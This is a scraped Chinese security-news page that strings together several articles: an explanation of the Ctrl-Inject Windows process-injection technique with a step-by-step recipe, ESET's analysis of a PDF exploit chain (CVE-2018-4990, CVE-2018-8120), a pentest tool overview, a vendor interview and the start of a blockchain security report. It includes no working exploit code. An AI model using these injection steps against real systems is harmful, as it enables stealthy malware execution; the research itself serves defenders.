針對新型進程注入技術Ctrl-Inject原理分析

網站內容來源http://server.it168.com/

針對新型進程注入技術Ctrl-Inject原理分析

2018-05-15 09:45    來源:安全客  作者: Rotem Kerner 編輯:
0購買

  概述

在本文中,我們將主要介紹一種新型的進程注入方法,我們稱之為“Ctrl-Inject”,它利用控制台應用程序中處理Ctrl信號的機制實現注入。在研究的過程中,我們在瀏覽MSDN時發現有一條關於Ctrl信號處理的相關評論:“這是一個與SetConsoleCtrlHandler函數( https://docs.microsoft.com/en-us/windows/console/setconsolectrlhandler )一起使用的函數,由應用程序定義。控制台進程使用此函數來處理進程收到的控制信號。當收到信號后,系統會在進程中啟動一個新的線程來執行該函數。”這也就意味着,每次我們觸發一個信號到一個基於控制台的進程時,系統都會調用一個在新線程中調用的處理函數。正因如此,我們可以藉助這一特點,來實現一個不同於以往的進程注入。

  控制信號處理

當用戶或進程向基於控制台的進程(例如cmd.exe或powershell.exe)發送Ctrl + C(或Break)信號時,系統進程csrss.exe將會在目標進程中創建一個新的線程來調用函數CtrlRoutine。CtrlRoutine函數負責包裝使用SetConsoleCtrlHandler的處理程序。接下來,我們深入研究一下CtrlRoutine,首先注意到了下面這段代碼:

該函數使用名為HandlerList的全局變量來存儲回調函數列表,在該函數中會循環執行,直到其中一個處理程序返回TRUE(通知該信號已被處理)為止。為了使處理程序成功執行,它必須滿足以下條件:1、函數指針必須正確編碼。處理程序列表中的每個指針都使用RtlEncodePointer進行編碼,並在執行之前使用RtlDecodePointer API進行解碼。因此,未經編碼的指針很有可能會導致程序崩潰。2、指向有效的CFG(Control Flow Guard,控制流防護)目標。CFG通過驗證間接調用的目標是否為有效函數,來嘗試對間接調用進行保護。我們來看一下SetConsoleCtrlHandle,看看它如何設置一個Ctrl處理程序,以便我們以後可以模仿其方式。在下圖中,我們可以看到各個指針在添加到HandlerList之前是如何編碼的。

接下來,我們看到了一個名為SetCtrlHandler的內部函數調用。該函數更新了兩個變量:一個是HandlerList,用於添加一個新的指針;另一個全局變量是HandlerListLength,增加了它的長度以適應新的列表大小。

現在,由於HandlerList和HandlerListLength變量駐留在kernelbase.dll模塊中,並且該模塊會映射到所有進程的相同地址,所以我們可以在進程中找到它們的地址,然後使用WriteProcessMemory在遠程進程中更新它們的值。我們的工作還沒有完成,考慮到CFG和指針編碼的存在,我們需要找到一種方法來繞過它們。

  繞過指針編碼

在Windows 10之前的版本中,我們需要理解指針編碼、解碼的工作原理,從而應對指針編碼保護。接下來,我們一起深入了解一下EncodePointer的工作原理。

開始,存在一個對NtQueryInformationProcess的調用,其定義如下:

NTSTATUS WINAPI NtQueryInformationProcess(

_In_HANDLE ProcessHandle,

_In_PROCESSINFOCLASS ProcessInformationClass,

_Out_ PVOIDProcessInformation,

_In_ULONGProcessInformationLength,

_Out_opt_ PULONG ReturnLength

);

根據上述定義,我們可以做出以下假設:1、ProcessHandle:當傳遞-1的值時,它代表引用調用進程的函數。2、ProcessInformationClass:該參數的值為0x24,這是一個未公開的值,要求內核檢索進程加密Cookie。Cookie本身駐留在EPROCESS結構中。在檢索加密Cookie后,我們可以看到幾個涉及輸入指針和加密Cookie的操作。具體為:

EncodedPointer = (OriginalPointer ^ SecretCookie) >> (SecretCookie & 0x1F)

一種繞過的方法,是使用CreateRemoteThread執行RtlEncodePointer,並將NULL作為參數傳遞給它,如下所示:1) EncodedPointer = (0 ^ SecretCookie) >> (SecretCookie & 0x1F)2) EncodedPointer = SecretCookie >> (SecretCookie & 0x1F)這樣一來,返回值將被Cookie旋轉的值增加到31倍(在64位Windows 10環境上該值為63,即0x3f)。如果我們在目標進程上使用已知的編碼地址,就能夠暴力猜測出原始Cookie值。以下代碼展示了如何對Cookie進行暴力猜測:

在Windows 10及以上版本中,微軟非常慷慨地為我們提供了一組新的API,稱為RtlEncodeRemotePointer和RtlDecodeRemotePointer。顧名思義,我們傳遞一個進程句柄和一個指針,該API將會為目標進程返回一個有效的編碼后指針。此外,還有另一種提取Cookie的技術,請參考: https://github.com/changeofpace/Remote-Process-Cookie-for-Windows-7/blob/master/Remote%20Process%20Cookie%20for%20Windows%207/main.cpp 。

  繞過CFG

到目前為止,我們已經將我們的代碼注入到目標進程,並修改了HandlerList和HandlerListLength的值。如果我們現在嘗試發送Ctrl+C信號來觸發代碼,該進程會引發異常,最終自行終止。其原因在於,CFG會注意到我們正在嘗試跳轉到一個非有效調用目標的指針。幸運的是,微軟對我們一直非常友善,他們發布了另外一個有用的API,名為SetProcessValidCallTargets。

WINAPI SetProcessValidCallTargets(

_In_HANDLEhProcess,

_In_PVOID VirtualAddress,

_In_SIZE_TRegionSize,

_In_ULONG NumberOfOffsets,

_Inout_ PCFG_CALL_TARGET_INFO OffsetInformation

);

簡而言之,我們傳遞進程句柄和指針后,該API會將其設置為有效的調用目標。此外,如果使用我們此前介紹過的( https://blog.ensilo.com/documenting-the-undocumented-adding-cfg-exceptions )未記錄的API也可以實現這一點。

  觸發Ctrl+C事件

現在一切準備就緒,我們需要做的就是在目標進程上觸發Ctrl + C,以調用我們的代碼。有幾種方法可以觸發它。在這種情況下,我們可以使用SendInput的組合,來觸發系統範圍的Ctrl鍵按鍵,以及用於發送C鍵的PostMessage。同樣,也適用於隱藏或不可見的控制台窗口。以下是觸發Ctrl-C信號的函數:

  揭秘底層

從實質上來說,在這個進程注入技術中,我們將代碼注入到目標進程中,但是我們從不直接調用它。也就是說,我們從來沒有自己調用CreateRemoteThread或使用SetThreadContext改變執行流。相反,我們正在讓csrss.exe為我們調用它,這樣一來就顯得是一個正常的行為,不會被懷疑。其原因在於,每次將Ctrl + C信號發送到基於控制台的應用程序時,conhost.exe會調用類似於調用堆棧的內容,如下所示:

其中,CsrClientCallServer會傳遞一個唯一索引標識符(0x30401),然後將其傳遞給csrss.exe服務。在其中,會從調度表中調用一個名為SrvEndTask的函數。調用鏈具體如下:

在這個調用鏈的最後,我們看到了RtlCreateUserThread,它負責在目標進程上執行我們的線程。注意:儘管Ctrl-Inject技術僅針對於控制台應用程序,但也可能會在很多控制台應用程序上被濫用,最值得注意的就是cmd.exe。

  總結

現在,我們已經了解了這個新型的進程注入方法,掌握了該方法的工作原理以及其背後到底發生了什麼。在最後,我們可以總結一下Ctrl-Inject技術。這種技術與傳統線程注入技術相比,主要優點是遠程線程是由可信的Windows進程csrss.exe創建,這使得它得隱蔽性更強。但同樣存在缺點,就是這種方法僅適用於控制台應用程序。

要進行這種進程注入技術,所需的步驟如下:1、將OpenProcess附加到控制台進程。2、通過調用VirtualAllocEx,為惡意負載分配一個新的緩衝區。3、使用WriteProcessMemory將數據寫入分配的緩衝區。4、使用目標進程cookie將指針指向指定的緩衝區。通過調用帶有空指針的RtlEncodePointer並手動編碼指針或通過調用RtlEncodeRemotePointer來實現。5、通知遠程進程,新指針是可以使用SetProcessValidCallTargets的有效指針。6、最後,使用PostMessage和SendInput的組合觸發Ctrl + C信號。7、恢復原始處理程序列表。

,
網站內容來源http://safe.it168.com/

【精選推薦文章】

自行創業 缺乏曝光? 下一步”網站設計“幫您第一時間規劃公司的門面形象

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包”嚨底家”

針對新型進程注入技術Ctrl-Inject原理分析

一圖讀懂:新華三安全風險態勢感知系統

網站內容來源http://server.it168.com/

一圖讀懂:新華三安全風險態勢感知系統

2017-12-11 14:38    原創  作者: 閆志坤 編輯:
0購買

【IT168 技術】IDC與新華三聯合發布的《網絡安全風險態勢感知系統》白皮書研究表明,利用大數據分析及認知系統等相關技術,構建網絡安全風險態勢感知系統,並將主動安全防禦體系中各個組件有機結合在一起,才能使構建智能的主動安全防禦體系得以實現。

 

,
網站內容來源http://safe.it168.com/

【精選推薦文章】

智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

帶您來看台北網站建置套版網頁設計台北網站改版設計台北RWD響應式網頁設計,各種案例分享

廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

一圖讀懂:新華三安全風險態勢感知系統

0day漏洞組合拳:詳細分析一款惡意PDF樣本

網站內容來源http://server.it168.com/

0day漏洞組合拳:詳細分析一款惡意PDF樣本

2018-05-21 09:32    來源:安全客  作者: Anton Cherepanov 編輯:
0購買

  一、前言

2018年3月末,ESET研究人員發現了一款非常有趣的惡意PDF樣本。經過仔細研究后,我們發現該樣本利用了之前未知的兩個漏洞:Adobe Reader中的一個遠程命令執行漏洞以及Microsoft Windows中的一個權限提升漏洞。

這兩個漏洞組合起來威力巨大,攻擊者可以通過這種方式在存在漏洞的目標上以盡可能高的權限來運行任意代碼,並且整個過程很少需要用戶交互。APT組織通常會使用這種組合拳來發起攻擊,比如去年的Sednit攻擊活動就是非常好的一個例子。

在發現這款PDF樣本后,ESET第一時間聯繫了微軟安全響應中心(MSRC)、Windows Defender ATP研究團隊以及Adobe Product安全事件響應團隊,並與這些單位一起協作,直至漏洞被成功修復。

Adobe以及微軟也提供了相應補丁及安全公告,分別如下:

APSB18-09

CVE-2018-8120

受影響的相關產品版本信息如下:

Acrobat DC (2018.011.20038及更早版本)

Acrobat Reader DC (2018.011.20038及更早版本)

Acrobat 2017 (011.30079及更早版本)

Acrobat Reader DC 2017 (2017.011.30079及更早版本)

Acrobat DC (Classic 2015) (2015.006.30417及更早版本)

Acrobat Reader DC (Classic 2015) (2015.006.30417及更早版本)

Windows 7 for 32-bit Systems Service Pack 1

Windows 7 for x64-based Systems Service Pack 1

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for Itanium-Based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1

本文介紹了這款惡意樣本以及所利用漏洞的技術細節。

  二、簡介

PDF(Portable Document Format)是一種电子文檔文件格式,與其他常見文檔格式一樣,攻擊者可以利用該類型文件將惡意軟件傳播至受害者主機。為了執行惡意代碼,攻擊者需要尋找並利用PDF閱讀器軟件中的漏洞。現在有多款PDF閱讀器,其中最常用的就是Adobe Reader。

Adobe Reader軟件中有一個安全功能:沙箱(sandbox),也稱為保護模式(Protected Mode)。Adobe在官方博客上分四部分(Part 1、Part 2、Part 3、Part 4)詳細介紹了沙箱的具體實現。沙箱使漏洞利用過程更加困難:即使攻擊者可以執行代碼,還是必須繞過沙箱的保護機制才能突破運行Adobe Reader的計算機。通常情況下,攻擊者需要藉助操作系統本身的漏洞來繞過沙箱保護機制。

當然攻擊者可以同時找到Adobe Reader軟件以及目標操作系統中的漏洞並編寫利用程序,不過這種情況非常罕見。

三、CVE-2018-4990:Adobe Reader的RCE漏洞

惡意PDF樣本中嵌入了一段JavaScript代碼,用來控制整個漏洞利用過程。一旦PDF文件被打開,JavaScript代碼就會被執行。

在漏洞利用開頭階段,JavaScript代碼開始操控Button1對象,該對象包含一個精心構造的JPEG2000圖像,該圖像會觸發Adobe Reader中的雙重釋放(double-free)漏洞。

▲圖1. 操控Button1對象的JavaScript代碼

  JavaScript代碼中用到了堆噴射(heap-spray)技術以破壞內部數據結構。在這些操作都完成后,攻擊者就實現了他們的主要目標:從JavaScript代碼中實現內存的讀取及寫入。

▲圖2. 用來讀取及寫入內存JavaScript代碼

  利用這兩種方法,攻擊者成功定位EScript.api插件的內存地址,而該插件正是Adobe JavaScript的引擎。利用該模塊的彙編指令(ROP gadgets),惡意JavaScript成功構造了一條ROP鏈,可以執行本地shellcode。

▲圖3. 惡意JavaScript成功構造ROP鏈

  最後一步,shellcode會初始化PDF中內嵌的一個PE文件,將執行權遞交給該文件。

四、CVE-2018-8120:Windows權限提升漏洞

成功利用Adobe Reader漏洞后,攻擊者必須打破沙箱保護機制,而這正是我們即將討論的第二個利用代碼的目的所在。

這個未知漏洞的源頭在於win32k Windows內核組件中的NtUserSetImeInfoEx函數。更具體一些,就是NtUserSetImeInfoEx的SetImeInfoEx子例程沒有驗證數據指針的有效性,允許某個NULL指針被解除引用(dereference)。

▲圖4. 反彙編后的SetImeInfoEx例程代碼

  如圖4所示,SetImeInfoEx函數的第一個參數為指向經過初始化的WINDOWSTATION對象的指針。如果攻擊者創建了一個新的window station對象,並將其分配給用戶模式下的當前進程,那麼spklList就會等於0。因此,映射NULL頁面並將指針設置為偏移量0x2C后,攻擊者就可以利用這個漏洞寫入內核空間中的任一地址。需要注意的是,從Windows 8開始,用戶進程不能再映射NULL頁面。

既然攻擊者具備任意寫入權限,他們就可以使用各種方法實施攻擊,不過在我們分析的這個例子中,攻擊者選擇使用Ivanlef0u以及Mateusz “j00ru” Jurczyk和Gynvael Coldwin介紹的一種技術。攻擊者重寫了全局描述符表(GDT,Global Descriptor Table)來創建Ring 0的一個call gate)(調用門)。為了完成這個任務,攻擊者使用SGDT彙編指令獲取了原始的GDT信息,構造自己的表然後使用前面提到的漏洞重寫了原始的表。

隨後,漏洞利用程序使用CALL FAR指令執行了跨權限級別的調用。

▲圖5. 反彙編后的CALL FAR指令

  一旦代碼在內核模式執行,漏洞利用程序就會使用system token(令牌)替換掉當前進程的token。

  五、總結

當PDF樣本提交到公共惡意樣本庫時,ESET研究人員就發現了這款樣本。彼時樣本並不包含最終的攻擊載荷,這表明當時樣本很有可能處於早期研發階段。雖然當時樣本並不包含真正的惡意載荷,仍有可能處於早期研發階段,但這也告訴我們樣本的作者在漏洞發現及漏洞利用方面具備較高的水平。

  六、IoC

ESET檢測標識:

JS/Exploit.Pdfka.QNV trojan

Win32/Exploit.CVE-2018-8120.A trojan

樣本SHA-1哈希:

C82CFEAD292EECA601D3CF82C8C5340CB579D1C6

0D3F335CCCA4575593054446F5F219EBA6CD93FE

, ,
網站內容來源http://safe.it168.com/

【精選推薦文章】

如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

想要讓你的商品在網路上成為最夯、最多人討論的話題?

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

0day漏洞組合拳:詳細分析一款惡意PDF樣本

Huntpad:為滲透測試人員設計的Notepad應用

網站內容來源http://server.it168.com/

Huntpad:為滲透測試人員設計的Notepad應用

2018-05-21 09:45    來源:FreeBuf.COM  作者: Alpha_h4ck編譯 編輯:
0購買

今天給大家推薦的是一款名叫Huntpad的Notepad應用程序,Huntpad由Syhunt公司開發,這是一款專為滲透測試人員以及漏洞hunter們提供的實用程序,它自帶了一套常用注入字符串生成器、哈希生成器、編碼器、解碼器以及HTML和文本修改功能等等,而且還支持多種編程語言的代碼高亮。

  工具下載

Huntpad:

  工具介紹

Huntpad從Syhunt Sandcat的QuickInject插件中借鑒了很多功能,跟QuickInject類似,Huntpad的核心任務也集中在文件包含漏洞、XSS漏洞和SQL注入漏洞的身上,並且還帶有下列額外的附加功能:

1. 代碼高亮:支持HTML、JavaScript、CSS、XML、PHP、Ruby、SQL、Pascal、Perl、Python和VBScript。

 2. SQL注入功能:

a) 過濾器繞過:特定數據庫字符串轉義(CHAR&CHR),將字符串轉換為引用字符串,將空格轉義為註釋標籤或換行。

b) 過濾器繞過(MySQL):字符串拼接,百分號混淆,整形替換。(例如:’26′轉換為’ceil(pi()*pi())*(!!!pi()+true)+ceil(@@version)’)

c) UNION語句生成。

d) 針對MySQL、MSSQL、Oracle及PostgreSQL等多款數據庫實現快速注入。

  3. 文件包含:

a) 快速Shell代碼上傳及生成。

b) PHP字符串轉義(chr)。

  4. 跨站腳本XSS功能:

a) 過濾器繞過:JavaScript字符串轉義(String.fromCharCode),CSS轉義。

b) 提供了各種用於測試XSS漏洞的測試語句(alert語句)。

  5. 哈希功能:

a) 哈希生成器:MD5, SHA-1, SHA-2 (224, 256, 384 & 512), GOST, HAVAL (various),MD2, MD4, RIPEMD (128, 160, 256 & 320), Salsa10, Salsa20, Snefru (128 &256), Tiger (various) & WHIRLPOOL

  6. 編碼器/解碼器:

a) URL編碼/解碼。

b) 十六進制編碼/解碼:將字符串或整形值轉換為十六進制(支持多種輸出格式)。

c) Base64編碼/解碼。

d) CharCode轉換:將字符串轉換為charcode(例如’abc’轉換為’97,98,99′)。

e) IP混淆:將IP地址轉換為dword或十六進制值。

f) JavaScript編碼:類似JJEncode。

  7. HTML功能:

a) HTML轉義。

b) HTML實體編碼/解碼:十進制和十六進制HTML實體編碼/解碼。

c) JavaScript字符串轉義。

  8. 文本修改功能:大小寫轉換、字符串反向操作、添加/替換斜杠等。

  9. 基於時間的盲注代碼。

  10. CRC計算:CRC16, CRC32, CRC32b等等。

  11. 緩衝區溢出字符串生成。

  12. 隨機字符串/數組生成功能。

,
網站內容來源http://safe.it168.com/

【精選推薦文章】

自行創業 缺乏曝光? 下一步”網站設計“幫您第一時間規劃公司的門面形象

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包”嚨底家”

Huntpad:為滲透測試人員設計的Notepad應用

聚焦數據庫安全昂楷科技解決最迫切問題開始

網站內容來源http://server.it168.com/

聚焦數據庫安全昂楷科技解決最迫切問題開始

2018-05-25 18:07    原創  作者: 閆志坤 編輯:
0購買

序言:海量數據正以指數級增長,人們通過大數據技術可以實現前所未有的對海量數據的處理和分析能力,而數據庫作為存儲數據的倉庫,經常成為黑客入侵、惡意攻擊的對象,若存儲的重要或敏感信息被竊取、篡改或破壞,則後果不堪設想,因此數據庫安全顯得尤為重要,數據庫安全作為信息安全的一個子集,也是信息安全中最重要的部分之一。

【IT168專訪】“我們認為數據庫安全領域最迫切需要解決的問題是可視和可控,我們所有產品都着眼於此”,昂楷科技董事長兼CTO 劉永波先生在接受IT168記者採訪時說道。

▲劉永波

  深圳昂楷科技有限公司創始人,OWASP 中國區高級顧問,智慧城市大數據安全標準制定專家。2009 年創立深圳昂楷科技有限公司;1998 年至2009年供職於華為技術有限公司、華為賽門鐵克合資公司,歷任華為接入網產品線研發總監,華賽安全產品線研發VP。曾經帶領團隊成功研發商用綜合接入UA5000 系列產品,該系列產品在2007 年成為英國電信BT 唯一同類採購產品,位列世界同類產品第一名。

【解鎖數據庫三級聯防 捍衛數據安全】

大多數用戶對於傳統IT架構的需求以穩健為主,業務系統運轉正常最為重要,安全性則為次要考慮,同時,由於數據庫在企業IT系統中非常脆弱,因此選擇安全解決方案要非常慎重。劉永波指出,處理數據庫安全問題,一定是要小心又小心,正如“治大國如烹小鮮”一般,數據庫好比是IT系統大國中的小鮮,經不起隨意折騰。

從國家機關、企事業單位的數據安全防護方案建設來講,應該建立終端、外防、內審內控的三級聯動聯防主動積極防禦體系;其次,針對系統漏洞等管理問題,選用安全設備加強安全管控。其中尤其重要的是數據安全態勢感知系統,作為整個防護體系的雷達探測和中樞指揮系統,是核心中的核心;第三,將數據安全態勢感知系統與原有的網絡安全態勢感知系統融為一體,建立全態勢的安全感知和統一指揮調度系統,能夠有效整合終端安全、網絡安全、數據安全、應用安全等各大系統,形成強大的聯動效應。

劉永波解釋道,昂楷科技正是按照這個建設思路,即內審內控的數據安全保護思路,先從最核心的數據庫安全審計監控產品開始研發,解決對數據庫攻擊行為及攻擊者的可視;進而打造數據庫漏洞檢測、數據庫狀態監控、數據庫防火牆、數據庫的安全態勢感知系統,構建針對數據庫的主動防禦一體化解決方案。

截至目前,昂楷產品支持多種關係型數據庫和非關係型數據庫,如常用數據庫類型:Oracle、Mysql、MSSQL、sybase、informix、DB2、PostgreSQL等,新類型的數據庫:后關係型數據庫Caché、工控實時數據庫IP21、Hadoop大數據架構下的Hbase等。

【新興技術之殤 化解數據庫安全難題】

雲計算不斷成熟,公有雲、私有雲乃至混合雲出現,徹底打破傳統IT架構,大量採用雲架構,虛擬交換機鏡像功能很難具備或沒有虛擬交換機,數據庫安全監控面臨很大的挑戰。政企用戶遇到第一個比較痛苦的問題:數據安全的問題怎麼解決?

業界多採用插件式解決方案,即在數據庫服務器安裝插件,但這時候項目負責人需要思考,插件是否會對數據庫系統的性能產生影響?是否安全等問題。

目前,昂楷科技做了很多積極性探索,已經推出了無插件解決方案,並與UCloud、青雲成功應用,同時還積極推動與華為雲、騰訊雲戰略合作,此外,昂楷科技的插件式解決方案已成功對接幾大公有雲,無論是阿里雲,還是品高雲、有孚雲等都完成了對接。劉永波表示,我們作為數據庫安全廠商,一定要跟雲供應商一起探討如何實現雲數據庫的安全監控,最終我們一起給最終用戶提供最佳體驗。

而對於越來越多公有雲平台開始自主研發數據庫,一方面是解決新應用的需要,另一方面是國產化數據庫的需要,包括大數據需要、NoSQL數據庫需要,這恰恰說明數據庫技術也在快速發展和演進,數據庫技術逐漸成為了基礎技術。大數據、智慧城市、物聯網快速發展,對這種基礎技術的要求也越來越高,數據庫的種類越來越多,數據庫安全面臨的挑戰就越來越嚴峻。

劉永波解釋道,因為每種數據庫技術都可能會不同,對外提供的API接口、協議框架越來越多,越來越複雜,數據庫就面臨着更多的潛在風險,而任何一個風險,如果被黑客利用或者被不法分子利用,導致的攻擊破壞都是不可想象。昂楷科技作為數據庫安全領域的專業廠商,我們要構建一個開放的、能夠自我學習、採用人工智能和大數據技術的產品,能快速演進,快速技術研發,能夠能趕得上這些新數據庫或新數據庫的應用接口的發展,能夠提前預防危險,對數據庫安全廠商而言,既是挑戰又是機遇。

【政企行業數據庫安全實施“指南”】

正所謂沒有絕對安全,信息安全保護也沒有底線,無法窮盡。但對於剛剛開始加強數據庫安全的政企用戶,又該如何做好數據庫安全管理?劉永波表示,不同的政企單位要在正常的業務運行和安全投入成本之間取得一個合理的平衡,對數據庫安全或者數據安全問題,要根據政企單位的安全等級來選擇合適的產品。

對於一般的政企單位而言,最基礎性的產品應該是數據庫監控和可視,所有政企單位都需要使用,而數據庫防火牆等新產品,要結合政企單位特點,例如非常高度涉密數據,即使業務停掉也要能夠進行及時攔截,此時可以考慮使用數據庫防火牆。

對於數據庫審計、數據庫監控選型方面建議,第一,既然談到監控,那就是要精細化,就是要嚴格做到不漏審,不誤審,看得准,看得狠基本要素。測試方法很簡單,在業務最繁忙時,將所有應用系統的流量全部鏡像過來,然後在任何一個終端上來進行正常操作,最後看數據庫監控產品能不能準確的識別該操作;第二,綜合性能測試,當監控告警記錄已經達到幾億條到數十億條時,再來進行檢索操作,觀察分析結果準確性和出報錶速度,以及是否跟其它安全設備進行了快速聯動。

在採訪最後,作為昂楷科技董事長兼CTO,談及企業未來規劃,劉永波坦言,昂楷科技定位一個研發性技術型公司,從長遠來看,我們將致力於為廣泛的‘大’數據提供可靠的‘大’安全,大安全的‘大’,可理解為廣泛縱深。我們希望未來成為大數據安全領域的領先性企業,能夠使得我們的產品和服務走出國門,服務於全世界的企業,甚至於個人用戶!

經過這些年發展,昂楷科技以工匠精神打造多款國產數據安全精品,不僅包括了數據庫審計系統、大數據安全審計系統、雲數據庫審計系統、工控數據庫審計系統等產品之外,而且在2018年還將發布數據庫漏洞掃描系統、數據庫狀態監控系統、數據庫脫敏系統、數據庫防火牆、數據庫安全態勢感知系統等新產品。

總結

數據安全無論是對國家還是對政企用戶都至關重要,數據是数字經濟時代社會生產的新主導要素,也是新工業革命的核心內容,數據庫安全擁有巨大藍海市場,非常需要昂楷科技這樣企業去探索、創新,為政企用戶保護數據庫支撐更多創新應用落地,讓越來越多政企客戶認識數據庫安全重要性,中國數據庫安全任重道遠。

,
網站內容來源http://safe.it168.com/

【精選推薦文章】

智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

帶您來看台北網站建置套版網頁設計台北網站改版設計台北RWD響應式網頁設計,各種案例分享

廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

聚焦數據庫安全昂楷科技解決最迫切問題開始

白帽匯安全研究院發布區塊鏈安全分析報告

網站內容來源http://server.it168.com/

白帽匯安全研究院發布區塊鏈安全分析報告

2018-05-23 15:10    來源:白帽匯安全研究院  作者: 白帽匯安全研究院 編輯:
0購買

前 言

當今,全球信息領域的新一輪科技創新和產業變革持續深入,滲透範圍越發廣泛,作為研發投入最為集中、應用成效最大的信息技術,正是此次引領變革的主導力量和技術創新的競爭高地。

在此背景下,區塊鏈作為一種分佈式數據存儲、點對點傳輸、共識機制、加密算法等技術的新型集成應用,發展勢頭迅猛,近年來已經成為世界各國研究討論的焦點。其生態系統已延伸到物聯網、雲計算、大數據、人工智能等多個領域,應用場景也涵蓋了金融、投資、監管等機構,引發了新一輪的技術創新和產業變革。

一直以來,安全問題都是信息產業的重大發展方向,隨着科技技術的演變和複雜化,信息安全問題的需求日益迫切,同時也被賦予了新的內涵外延。而區塊鏈作為一種新興技術,安全性威脅是其迄今為止所面臨的最重要的問題之一。

為全面了解和推動區塊鏈技術和產業發展,解決區塊鏈目前面臨的安全問題,“白帽匯安全研究院”採用自主創新技術,根據區塊鏈的數據層、網絡層、共識層、擴展層和業務層的不同應用場景下的主流攻擊事件進行探索,分析和總結,提出了安全加固、滲透測試、仿冒監測和合約審計四類安全解決方案,與國家安全機構、金融企業、信息安全部門、互聯網巨頭等建立深度合作關係,多項研究成果成功應用於漏洞預警和產品服務,最終整合編纂形成了《區塊鏈產業安全分析報告》,並希望以此契機建立起安全可靠的區塊鏈技術安全生態體系。

目錄

  一、區塊鏈概述
  二、區塊鏈安全性
  三、區塊鏈攻擊對象分析
  四、區塊鏈安全解決方案
  五、總結與展望
  六、關於我們
  七、參考來源

      一 區塊鏈概述

 1.1 定義

區塊鏈[1]是一種分佈式數據存儲、點對點傳輸、共識機制、加密算法等計算機技術的新型應用模式,是以比特幣為代表的数字加密貨幣體系的核心支撐技術,且可以從兩個方面來進行定義:從狹義的角度上來講,區塊鏈是一種以時間順序排列的鏈式結構數據,並通過密碼學的方式來保證數據的不可篡改、不可偽造。從廣義的角度來講,區塊鏈技術是利用塊鏈式數據結構來存儲數據、利用鏈式數據的前後關係來驗證數據、利用分佈式節點來生成數據,利用共識算法來更新數據、利用密碼學來保證數據的真實性、利用由程序代碼組成的智能合約保證協議的不可違約性的一種同時具備高可用、高擴展、高安全等特性的全新數據系統。

其核心優勢是去中心化,能夠通過運用數據加密、時間戳、分佈式共識和經濟激勵等手段,在節點無需互相信任的分佈式系統中實現基於去中心化信用的點對點交易、協調與協作,從而為解決中心化機構普遍存在的高成本、低效率和數據存儲不安全等問題提供了解決方案。

如下圖所示,高亮的點是區塊鏈系統中分佈在全球各地的各個節點;而這些節點可以簡單理解為一台服務器或服務器集群,並能夠協同運轉的數據庫存儲系統。區別於傳統數據庫運作——讀寫權限掌握在一個公司或者一個集權手上(中心化的特徵),區塊鏈認為,任何有能力架設服務器的個體都可以參與其中。

來自全球各地的開發人員在當地部署了自己的服務器,並連接到區塊鏈網絡中,成為這個分佈式數據庫存儲系統中的一個節點;一旦加入,該節點享有同其他所有節點完全一樣的權利與義務(去中心化、分佈式的特徵)。與此同時,對於在區塊鏈上開展服務的參與者,可以往這個系統中的任意節點進行讀寫操作,最後全世界所有節點會根據某種機制完成一次又一次的同步,從而實現在區塊鏈網絡中所有節點的數據完全一致。

1.2 特徵

區塊鏈技術是具有普適性的底層技術框架,可以為金融、經濟、科技甚至政治等各領域帶來深刻變革。在信息網絡化的大背景下,當需要進行信息交換的時候,如何防止遭遇惡意欺詐,從而做出正確決策?具有去中心化、可追溯性等特徵的區塊鏈技術正好解決了此類難題,區塊鏈的核心技術均圍繞此進行展開。

1.2.1 去中心化

區塊鏈使用分佈式架構,在區塊鏈網絡中的節點同時扮演着“傳播者”和“驗證者”的角色,享受同等的權利、承受同等的義務,節點與節點之間可以自由通信,系統中的數據塊由具有存儲能力的節點共同存儲。

1.2.2 開放性

區塊鏈整體系統是開放的,除了節點的私鑰以外,網絡中的節點信息對所有人公開,區塊鏈中的數據對所有人公開,區塊鏈的源代碼對所有人公開。

1.2.3 自治性

區塊鏈採用基於預先設定好的規範或協議使得整個網絡中的所有節點能夠在自由、安全、無障礙的情況下的進行交互。

區塊鏈技術將原本人與人之間”的信任轉化為人對機器的信任,任何人為的行為都難以撼動機器計算的結果。

1.2.4 不可篡改性

在區塊鏈系統中,由於使用了哈希函數以及非對稱加密等先進的密碼學技術,在信息經過驗證後會被打包至區塊中,由於區塊鏈只做加法,所以區塊鏈上的區塊數據不可銷毀。由於它是分佈式的,所以單個節點對區塊的修改對於整個區塊鏈來說毫無影響,因此區塊鏈的數據穩定性和可靠性都是極高的。

1.2.5 可追溯性

儘管區塊鏈中的匿名性無法看到交易雙方的身份信息,但區塊+鏈的形式保存了從第一個區塊開始的所有歷史數據,連接的形式是后一個區塊擁有前一個區塊的HASH值,區塊鏈上任意一條記錄都可通過鏈式結構追溯本源,這樣從另一個方面保障了信息的安全性。

1.3 分類

基於多種應用參與方式,區塊鏈目前主要分為公有區塊鏈、聯盟區塊鏈和私有區塊鏈。

1.3.1 公有區塊鏈

公有區塊鏈是指:世界上任何個體或者團體都可以發送交易,且交易能夠獲得該區塊鏈的有效確認,任何人都可以參與其共識過程。公有區塊鏈是最早的區塊鏈,也是目前應用最廣

泛的的區塊鏈。是指像比特幣區塊鏈這樣的完全去中心化的、不受任何機構控制的區塊鏈。共識過程的參與者通過密碼學技術以及內建的經濟激勵維護數據庫的安全。

1.3.2 聯盟區塊鏈

